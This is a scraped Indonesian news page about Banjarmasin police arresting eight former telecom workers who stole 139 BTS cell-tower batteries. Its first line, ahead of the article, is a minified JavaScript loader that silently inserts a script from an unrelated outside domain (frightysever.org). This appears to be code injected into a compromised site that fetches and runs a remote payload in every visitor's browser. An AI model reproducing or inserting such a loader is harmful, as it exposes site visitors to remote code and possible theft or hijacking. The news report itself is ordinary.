(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Satreskrim Polresta Banjarmasin berhasil mengungkap sindikat pencurian baterai Base Transceiver Station (BTS) yang marak terjadi dalam tiga bulan terakhir di wilayah Kalselteng.
Delapan pelaku pencurian berhasil dibekuk pada waktu yang berbeda, dan empat diantaranya diamankan di Serang, Provinsi Banten pada Senin (8/5/2023) lalu.
“Empat orang tersangka dibekuk di Banjarmasin akhir April, bulan lalu,” kata Kasatreskrim Polresta Banjarmasin Kompol Thomas Arifin, Kamis (11/5/2023) siang.
Dijelaskan, pengungkapan berawal dari laporan beberapa waktu lalu dari pihak provider bahwa terjadi pencurian baterai di tower masing-masing provider.
Baca juga: Senator Kalsel Petahana Mengincar Kursi Periode Kedua
Kemudian, tim dari gabungan Macan Resta Banjarmasin, Macan Kalsel, Polsek Banjarmasin Selatan bergerak untuk menangkap sejumlah orang yang disinyalir sebagai pelaku pencurian.
Dari hasil pendalaman dan interogasi, para pelaku merupakan mantan dari pegawai provider yang hilang itu sendiri dan bahkan yang memasang instalasi baterai tersebut.
“Mereka yang memasangnya, mereka juga yang membobolnya,” ujar Kompol Thomas.
Adapun untuk pencurian awal di wilayah Kalsel dilakukan di kawasan Banjarmasin Selatan dan Banjarmasin Barat. Oleh pihak provider bahwa tower BTS tersebut memang tidak ada penjaganya.
“Informasi terakhir, apabila baterai ini dicopot, alarm itu harusnya berbunyi,” kata Thomas.
Baca juga: Curi Minyak Goreng di Minimarket, Pasutri Digiring ke Bui Polisi
Lebih lanjut, selain mengamankan pelaku pihaknya juga berhasil mengamankan puluhan barang bukti baterai BTS yang diamankan di wilayah Banjarmasin Selatan dan di luar daerah.
“Berdasarkan laporan, ada 139 baterai yang dicuri,” ujar Kompol Thomas.
Untuk barang bukti yang ditemukan di Banjarmasin Selatan ada enam unit, sedangkan puluhan sisanya diamankan dari wilayah Serang, Banten.
Menurut Kompol Thomas, baterai tersebut rencananya akan dijual para pelaku dengan kisaran harga Rp 3 juta ke wilayah Serang, Banten.
“Transaksinya via online, penampungnya juga sudah ada. Sedangkan harga barunya informasi bervariatif, mulai dari Rp 15 juta keatas,” terangnya.
Atas perbuatannya, para pelaku diancam dengan Pasal 363 KUHP tentang pencurian dengan pemberatan (curat) dengan ancaman hukuman maksimal 7 tahun penjara. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.